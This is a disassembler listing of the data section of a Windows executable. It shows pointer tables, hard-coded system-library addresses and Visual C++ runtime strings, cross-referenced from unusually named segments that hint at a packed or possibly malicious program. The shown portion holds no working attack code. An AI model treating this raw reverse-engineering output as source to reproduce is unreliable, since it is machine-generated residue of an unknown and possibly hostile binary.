off_41D0B4	dd offset sub_43B1C4	; DATA XREF: sub_40F3FF+8Cr
					; sub_4528B3w ...
off_41D0B8	dd offset sub_442772	; DATA XREF: sub_40F02F:loc_40F083r
					; sub_40F0AC:loc_40F104r ...
dword_41D0BC	dd 77E79824h		; DATA XREF: sub_419DDC+39r
					; dviuq5id:0043EB62r ...
dword_41D0C0	dd 77E7C4B7h		; DATA XREF: sub_419DDC+50r
					; dviuq5id:loc_45258Br
dword_41D0C4	dd 77E79E4Bh		; DATA XREF: sub_419DDC+6Fr
					; sub_457B2A-12149w ...
dword_41D0C8	dd 77E79C90h		; DATA XREF: sub_4031FD+D9r
					; sub_404A3E+F5r ...
off_41D0CC	dd offset sub_4592C2	; DATA XREF: sub_41A645+20r
					; sub_41C28D+293r ...
off_41D0D0	dd offset sub_43DB58	; DATA XREF: sub_41A138+3Br
					; sub_43DB58+5r ...
off_41D0D4	dd offset sub_439CB7	; DATA XREF: sub_41A19C+3Br
					; dviuq5id:004517F5w ...
dword_41D0D8	dd 77E77963h		; DATA XREF: sub_408DFD+4Br
					; sub_40E422+29Cr ...
dword_41D0DC	dd 77E77CC4h		; DATA XREF: sub_4056CA+60r
					; sub_405886+169r ...
dword_41D0E0	dd 77E79F93h		; DATA XREF: sub_4054D7+39r
					; sub_405543+39r ...
off_41D0E4	dd offset sub_451EEC	; DATA XREF: sub_40F8D4+2Dr
					; sub_419E67+30r ...
off_41D0E8	dd offset sub_443AC1	; DATA XREF: sub_4054D7+49r
					; sub_405543+49r ...
dword_41D0EC	dd 77F5157Dh		; DATA XREF: sub_4039C3+79r
					; sub_4056CA+2r ...
dword_41D0F0	dd 77E704FCh		; DATA XREF: sub_40207A+11Fr
					; sub_417776+D1r ...
off_41D0F4	dd offset sub_44A15A	; DATA XREF: sub_4031FD+E0r
					; sub_404A3E+FCr ...
off_41D0F8	dd offset sub_45450A	; DATA XREF: sub_407AEA+1Dr
					; sub_407B2A+25r ...
dword_41D0FC	dd 77E77CB7h		; DATA XREF: .text:0040431Br
					; sub_410957+67r ...
off_41D100	dd offset sub_445488	; DATA XREF: sub_41A690:loc_41A8F8r
					; sub_445488+5r
dword_41D104	dd 77E7751Ah		; DATA XREF: sub_40B439+51r
					; sub_417C7B+36r ...
dword_41D108	dd 77F51597h		; DATA XREF: sub_4039C3+68r
					; .text:00404350r ...
off_41D10C	dd offset sub_43EFA5	; DATA XREF: sub_41B981+20r
					; sub_41BB83+43r ...
dword_41D110	dd 77F516F8h		; DATA XREF: sub_403AA0+Fr
					; .text:00404324r ...
off_41D114	dd offset sub_44D93D	; DATA XREF: sub_40D20A+11Dr
					; sub_44D93D+5r ...
off_41D118	dd offset sub_459D98	; DATA XREF: sub_40D20A:loc_40D343r
					; dviuq5id:loc_43B9FAw	...
off_41D11C	dd offset sub_43BA0E	; DATA XREF: .text:0040CEB8r
					; dviuq5id:00439170w ...
dword_41D120	dd 77E7C866h		; DATA XREF: sub_40C6EC+2Dr
					; sub_40C6EC+11Cr ...
off_41D124	dd offset sub_450362	; DATA XREF: sub_40C6EC+191r
					; sub_450377-13656w ...
dword_41D128	dd 77E781F9h		; DATA XREF: sub_40C307+30r
					; sub_40C307+144r ...
off_41D12C	dd offset sub_446455	; DATA XREF: sub_40C307+294r
					; sub_40C307+365r ...
dword_41D130	dd 77E77EE1h		; DATA XREF: sub_40B2BC+Br
					; dviuq5id:0043CA93w ...
dword_41D134	dd 77E79924h		; DATA XREF: sub_40B2BC:loc_40B336r
					; sub_40C307+216r ...
dword_41D138	dd 77E7C9E1h		; DATA XREF: sub_40B2BC+CCr
					; dviuq5id:0044BEF0r
off_41D13C	dd offset sub_43C6FB	; DATA XREF: sub_40B2BC:loc_40B39Ar
					; sub_43C6FB+5r ...
off_41D140	dd offset sub_43E816	; DATA XREF: sub_40B2BC+10Fr
					; sub_40B2BC+126r ...
dword_41D144	dd 77E78406h		; DATA XREF: sub_408B90+12Br
					; sub_408B90+1C7r ...
dword_41D148	dd 77E79C3Dh		; DATA XREF: sub_408B90+1B5r
					; sub_409E64+169r ...
dword_41D14C	dd 77E7C931h		; DATA XREF: sub_408B90+21Fr
					; dviuq5id:0044192Dr ...
off_41D150	dd offset sub_44CB39	; DATA XREF: sub_406214+27r
					; sub_40DE1D+134r ...
off_41D154	dd offset sub_44297E	; DATA XREF: sub_406214+77r
					; sub_4062C4+52r ...
off_41D158	dd offset sub_43D531	; DATA XREF: sub_405F00+22Fr
					; sub_43D531+5r ...
dword_41D15C	dd 77E7C726h		; DATA XREF: sub_405E33+11r
					; dviuq5id:00447863r ...
off_41D160	dd offset sub_4410A1	; DATA XREF: sub_405E33+47r
					; sub_4410A1:loc_44D424r ...
dword_41D164	dd 77F7E21Fh		; DATA XREF: sub_405DA7+28r
					; sub_40850B+28r ...
dword_41D168	dd 77F7E300h		; DATA XREF: sub_405CCF+Dr
					; sub_40855D+28r ...
off_41D16C	dd offset sub_4462E1	; DATA XREF: sub_405C7A+1r
					; sub_40E383+62r ...
dword_41D170	dd 77F51587h		; DATA XREF: sub_4056CA+78r
					; sub_40CEC4+ABr ...
off_41D174	dd offset sub_453548	; DATA XREF: sub_4055D9+2Br
					; sub_405886+85r ...
dword_41D178	dd 77E79B39h		; DATA XREF: sub_4055AF+23r
					; sub_405886+58r ...
dword_41D17C	dd 77E7C5B4h		; DATA XREF: sub_4055A6r
					; sub_405886:loc_405925r ...
dword_41D180	dd 77E78B61h		; DATA XREF: sub_4054D7+7r
					; sub_405543+7r ...
off_41D184	dd offset sub_43B650	; DATA XREF: sub_404DF4+27r
					; sub_43B650+5r
dword_41D188	dd 77E7A13Fh		; DATA XREF: sub_404DF4+4Ar
					; dviuq5id:00446497r ...
dword_41D18C	dd 77E778C5h		; DATA XREF: sub_404D50+59r
					; sub_405019+76r ...
dword_41D190	dd 77F522F2h		; DATA XREF: sub_402E05+82r
					; sub_43B13A+5w ...
dword_41D194	dd 77E80656h		; DATA XREF: sub_402EA8r
					; sub_40B439+41r ...
off_41D198	dd offset sub_4545EE	; DATA XREF: sub_4031FD+BEr
					; sub_404A3E+D9r ...
dword_41D19C	dd 77E7C9E7h		; DATA XREF: sub_4031FD+B4r
					; sub_404A3E+CEr ...
off_41D1A0	dd offset sub_456253	; DATA XREF: sub_403900+9r
					; sub_40B439+35r
off_41D1A4	dd offset sub_43AE68	; DATA XREF: .text:loc_4043FFr
off_41D1A8	dd offset sub_439259	; DATA XREF: .text:00404306r
					; sub_408B90+15r
off_41D1AC	dd offset sub_43F820	; DATA XREF: sub_40456B+40r
					; sub_40FBF7+222r ...
off_41D1B0	dd offset sub_455508	; DATA XREF: sub_413D26r sub_44DB86+4w ...
dword_41D1B4	dd 77E7849Fh		; DATA XREF: sub_404BC6+24r
					; sub_404E6E+56r ...
dword_41D1B8	dd 77E777EFh		; DATA XREF: sub_404D50+84r
					; sub_405019+95r ...
		align 10h
dword_41D1C0	dd 71B2ACCBh		; DATA XREF: sub_402A02r
		align 8
dword_41D1C8	dd 1F7CD927h		; DATA XREF: sub_4029F6r
dword_41D1CC	dd 1F7CB8F8h		; DATA XREF: sub_4029F0r
dword_41D1D0	dd 1F7CD214h		; DATA XREF: sub_4029EAr
dword_41D1D4	dd 1F7D886Ah		; DATA XREF: sub_4029E4r
dword_41D1D8	dd 1F7BA3A9h		; DATA XREF: sub_4029DEr
		align 10h
dword_41D1E0	dd 77428B97h		; DATA XREF: sub_4198AD+148r
					; sub_41BED6+1E3r
		align 8
off_41D1E8	dd offset sub_446DD8	; DATA XREF: sub_417C7B+30r
					; dviuq5id:0043AD9Dr ...
off_41D1EC	dd offset sub_43D7FD	; DATA XREF: sub_419430+67r
					; sub_43D7FD+5r ...
off_41D1F0	dd offset sub_459E36	; DATA XREF: sub_419430+Cr
					; sub_448FC7+E32w ...
off_41D1F4	dd offset sub_44C1FA	; DATA XREF: sub_419430+B1r
					; sub_44C1FA+5r
off_41D1F8	dd offset sub_44BAF7	; DATA XREF: sub_419430+94r
					; dviuq5id:0044A80Bw ...
off_41D1FC	dd offset loc_44A81F	; DATA XREF: sub_4192DB+Dr
					; sub_44E486+5r
off_41D200	dd offset sub_443659	; DATA XREF: sub_419430+BBr
					; sub_443659+5r
off_41D204	dd offset sub_44D52F	; DATA XREF: sub_419430+A5r
					; dviuq5id:00446D09w ...
off_41D208	dd offset sub_4592A8	; DATA XREF: sub_419430+4Ar
					; sub_44440E:loc_4561D5w ...
		align 10h
dword_41D210	dd 7620BD61h		; DATA XREF: sub_41BED6+EBr
dword_41D214	dd 76214750h		; DATA XREF: sub_41BED6+7Dr
dword_41D218	dd 7620AFB6h		; DATA XREF: sub_41BED6+39r
		align 10h
dword_41D220	dd 71AB3C22h		; DATA XREF: sub_413D2C+20r
					; sub_414446+C9r ...
dword_41D224	dd 71ABD755h		; DATA XREF: sub_40223C+48r
					; sub_418D42+4F9r
dword_41D228	dd 71AB1AF4h		; DATA XREF: sub_414337+B0r
					; sub_414337+F1r ...
dword_41D22C	dd 71AB60C9h		; DATA XREF: sub_41930F+FAr
dword_41D230	dd 71AB5DE2h		; DATA XREF: sub_4145BE+B7r
					; sub_41930F+10Cr
dword_41D234	dd 71AB868Dh		; DATA XREF: sub_4145BE+165r
					; sub_418B4D+1Ar
dword_41D238	dd 71AB157Eh		; DATA XREF: sub_4197B6+34r
dword_41D23C	dd 71AB3E5Dh		; DATA XREF: sub_413D2C+78r
					; sub_414446+DCr ...
dword_41D240	dd 71AB1836h		; DATA XREF: sub_41C28D:loc_41C72Ar
dword_41D244	dd 71AB2BBFh		; DATA XREF: sub_41881F+7Br
dword_41D248	dd 71AB1ED3h		; DATA XREF: sub_41B981+F7r
dword_41D24C	dd 71AB3F8Dh		; DATA XREF: sub_41BB83+58r
dword_41D250	dd 71AB1746h		; DATA XREF: sub_41B981+131r
					; sub_41B981+147r ...
dword_41D254	dd 71AB1890h		; DATA XREF: sub_413D2C+8Fr
					; sub_414337+78r ...
dword_41D258	dd 71AB1444h		; DATA XREF: sub_41B981+11Cr
					; sub_41BB83+12Cr
dword_41D25C	dd 71AB401Ch		; DATA XREF: sub_41AFA7+3Cr
					; sub_41AFA7+757r ...
dword_41D260	dd 71AB1B7Bh		; DATA XREF: sub_4029FCr
dword_41D264	dd 71AB12F8h		; DATA XREF: sub_40223C+37r
dword_41D268	dd 71AB155Ah		; DATA XREF: sub_413D2C+54r
dword_41D26C	dd 71AB5690h		; DATA XREF: sub_414337+14r
					; sub_414446+64r ...
dword_41D270	dd 71AB1746h		; DATA XREF: sub_413D2C+34r
					; sub_4145BE+81r ...
dword_41D274	dd 71AB41DAh		; DATA XREF: sub_41C28D+3D5r
dword_41D278	dd 71ABF628h		; DATA XREF: sub_418D42+4C9r
dword_41D27C	dd 71AB3ECEh		; DATA XREF: sub_4145BE+9Er
					; sub_41930F+D7r ...
dword_41D280	dd 71AB1A6Dh		; DATA XREF: sub_401FD7+11r
					; sub_413D2C+98r ...
		align 8
dword_41D288	dd 0			; DATA XREF: sub_407D29+49o
		dd offset loc_41CAEB
; ---------------------------------------------------------------------------
		or	bl, cl
		inc	ecx
		add	ds:410041CBh, ah
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebp-35h], bl
		inc	ecx
		add	[ecx-35h], bh
		inc	ecx
		add	[ebp-4EFFBE35h], dl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	ch, cl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	cl, ch
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset loc_41CC05
		dd offset loc_41CC21
		dd offset loc_41CC3D
		dd offset loc_41CC4B
		dd offset loc_41CC67
		dd offset loc_41CC83
dword_41D2CC	dd 0			; DATA XREF: sub_407D29+50o
dword_41D2D0	dd 0			; DATA XREF: sub_407D29+2Do
		dd offset sub_403176
		dd offset sub_4051B3
		dd offset sub_40843A
		dd offset sub_40ACDF
		dd offset sub_40FBEA
		dd offset sub_40B539
dword_41D2EC	dd 0			; DATA XREF: sub_407D29+28o
dword_41D2F0	dd 0			; DATA XREF: sub_407DBB+73o
		dd offset sub_4117FA
		dd offset sub_4084EB
dword_41D2FC	dd 0			; DATA XREF: sub_407DBB:loc_407E29o
dword_41D300	dd 0			; DATA XREF: sub_407DBB+83o
		dd offset sub_40B55A
dword_41D308	dd 2 dup(0)		; DATA XREF: sub_407DBB:loc_407E39o
dword_41D310	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 4210ECh
					; DATA XREF: .data:00423000o
					; .data:00423004o ...
off_41D324	dd offset loc_401043	; DATA XREF: sub_401038o
					; .text:00401046o ...
		dd offset sub_4030A0
		dd offset dword_4210A0
off_41D330	dd offset loc_4010C5	; DATA XREF: sub_401065+20o
					; sub_40109A+Ao ...
		dd offset sub_4010B7
		dd offset dword_421050
off_41D33C	dd offset loc_4010EC	; DATA XREF: .text:loc_4010E1o
					; .text:004010EFo ...
		dd offset sub_4010B7
		dd offset dword_420F10
off_41D348	dd offset loc_402A18	; DATA XREF: sub_402A0Do
					; .text:00402A1Bo ...
		dd offset sub_4010B7
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_402A3A+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_402A79+Co
		dd offset dword_420F60
off_41D37C	dd offset loc_4030AD	; DATA XREF: sub_402FBB+Ao
					; sub_402FCC+9o ...
		dd offset sub_4030A0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4030A0+7o
		align 4
		dd offset dword_420F74
off_41D39C	dd offset loc_4033BB	; DATA XREF: sub_4033AD+1o
					; .data:off_423008o ...
oword_41D3A0	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_404170+E3r
					; sub_404170+10Ar
oword_41D3B0	xmmword	4330000000000000433h ; DATA XREF: sub_404170+46r
oword_41D3C0	xmmword	0		; DATA XREF: sub_404170:loc_404271r
oword_41D3D0	xmmword	7FFh		; DATA XREF: sub_404170+5Fr
dbl_41D3E0	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: sub_404170:loc_40426Ar
dword_41D3E8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_40456B+Eo
		dd 3, 19930520h, 2 dup(0)
off_41D408	dd offset dword_4274E0	; DATA XREF: sub_404A3E+D4o
		dd offset dword_427538
		dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
		db 3Dh,	0
word_41D492	dw 0			; DATA XREF: sub_40AF33+1Bo
					; c.7ld2ih:0041EB80o ...
aEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_4054D7+43o
					; sub_405616+2Eo
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_4054D7:loc_40550Bo
					; sub_405543:loc_405577o ...
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_405543+43o
					; sub_405616+42o
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_405886+44o
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_405886+37o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_405886+2Ao
dword_41D4E4	dd 41736C46h		; DATA XREF: sub_405886+22o
byte_41D4E8	db 6Ch			; DATA XREF: sub_406D87+177r
		db 6Ch,	6Fh, 63h
		align 10h
aNull:					; DATA XREF: .data:off_423928o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .data:off_423924o
		align 4
byte_41D508	db 6			; DATA XREF: sub_406D87:loc_406F10r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38202800h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_407C31+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_407C31o
aCcs		db 'ccs=',0             ; DATA XREF: sub_4085AF+1CCo
		align 4
aUtf8		db 'UTF-8',0            ; DATA XREF: sub_4085AF+1E0o
		align 10h
aUtf16le	db 'UTF-16LE',0         ; DATA XREF: sub_4085AF:loc_4087ACo
		align 4
aUnicode	db 'UNICODE',0          ; DATA XREF: sub_4085AF:loc_4087C9o
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 8
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 10h
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 8
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_423C04o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_409E64+157o
		align 10h
asc_41DB20	db 0Ah			; DATA XREF: sub_409E64:loc_409F74o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_409E64+E8o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_409E64+A3o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_409E64+5Bo
		db 0Ah
		db 'Program: ',0
		align 4
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
dword_41DBC8	dd 6E6174h		; DATA XREF: sub_40AA2F:loc_40AC67o
dword_41DBCC	dd 736F63h		; DATA XREF: sub_40AA2F:loc_40AC5Eo
dword_41DBD0	dd 6E6973h		; DATA XREF: sub_40AA2F:loc_40AC55o
aModf		db 'modf',0             ; DATA XREF: sub_40AA2F:loc_40AC49o
		align 4
aFloor		db 'floor',0            ; DATA XREF: sub_40AA2F:loc_40AC3Do
		align 4
aCeil		db 'ceil',0             ; DATA XREF: sub_40AA2F:loc_40AC34o
		align 4
aAtan		db 'atan',0             ; DATA XREF: sub_40AA2F:loc_40AC2Bo
		align 4
aExp10		db 'exp10',0            ; DATA XREF: sub_40AA2F+1BFo
		align 10h
dbl_41DC00	dq 1.0			; DATA XREF: sub_40ACF3+6Dr
aAcos		db 'acos',0             ; DATA XREF: sub_40AA2F:loc_40ABB2o
		align 10h
aAsin		db 'asin',0             ; DATA XREF: sub_40AA2F:loc_40ABA9o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_40AA2F:loc_40AB6Co
					; sub_40AA2F+149o ...
aLog10		db 'log10',0            ; DATA XREF: sub_40AA2F:loc_40AB45o
					; sub_40AA2F+131o ...
		align 4
aExp		db 'exp',0              ; DATA XREF: sub_40AA2F:loc_40AB0Co
					; sub_40AA2F+10Do ...
aPow		db 'pow',0              ; DATA XREF: sub_40AA2F:loc_40AAD7o
					; sub_40AA2F:loc_40AB84o ...
off_41DC2C	dd offset sub_40B771	; DATA XREF: sub_4069F0+F1r
					; sub_4069F0+FAo ...
		dd offset dword_420FBC
off_41DC34	dd offset loc_40B589	; DATA XREF: sub_40B57Eo
					; .text:0040B58Co ...
		dd offset sub_4030A0
dword_41DC3C	dd 20646162h, 65637865h, 6F697470h, 6Eh	; DATA XREF: sub_40BDB6+156o
dword_41DC4C	dd 41h dup(0)		; DATA XREF: sub_40C307+25o
					; sub_40C6EC+27o
asc_41DD50:				; DATA XREF: .data:off_423668o
					; .data:00423E70o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_41DF50	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:00423E74o
					; .data:00423590o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
dword_41E158	dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00423F1Co
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .data:00423F18o
		align 4
aPm		db 'PM',0               ; DATA XREF: .data:00423F14o
		align 4
aAm		db 'AM',0               ; DATA XREF: .data:00423F10o
		align 4
aDecember	db 'December',0         ; DATA XREF: .data:00423F0Co
		align 4
aNovember	db 'November',0         ; DATA XREF: .data:00423F08o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:00423F04o
aSeptember	db 'September',0        ; DATA XREF: .data:00423F00o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:00423EFCo
		align 10h
aJuly		db 'July',0             ; DATA XREF: .data:00423EF8o
		align 4
aJune		db 'June',0             ; DATA XREF: .data:00423EF4o
		align 10h
aApril		db 'April',0            ; DATA XREF: .data:00423EECo
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:00423EE8o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: .data:00423EE4o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:00423EE0o
aDec		db 'Dec',0              ; DATA XREF: .data:00423EDCo
aNov		db 'Nov',0              ; DATA XREF: .data:00423ED8o
aOct		db 'Oct',0              ; DATA XREF: .data:00423ED4o
aSep		db 'Sep',0              ; DATA XREF: .data:00423ED0o
aAug		db 'Aug',0              ; DATA XREF: .data:00423ECCo
aJul		db 'Jul',0              ; DATA XREF: .data:00423EC8o
aJun		db 'Jun',0              ; DATA XREF: .data:00423EC4o
aMay		db 'May',0              ; DATA XREF: .data:00423EC0o
					; .data:00423EF0o
aApr		db 'Apr',0              ; DATA XREF: .data:00423EBCo
aMar		db 'Mar',0              ; DATA XREF: .data:00423EB8o
aFeb		db 'Feb',0              ; DATA XREF: .data:00423EB4o
aJan		db 'Jan',0              ; DATA XREF: .data:00423EB0o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:00423EACo
		align 10h
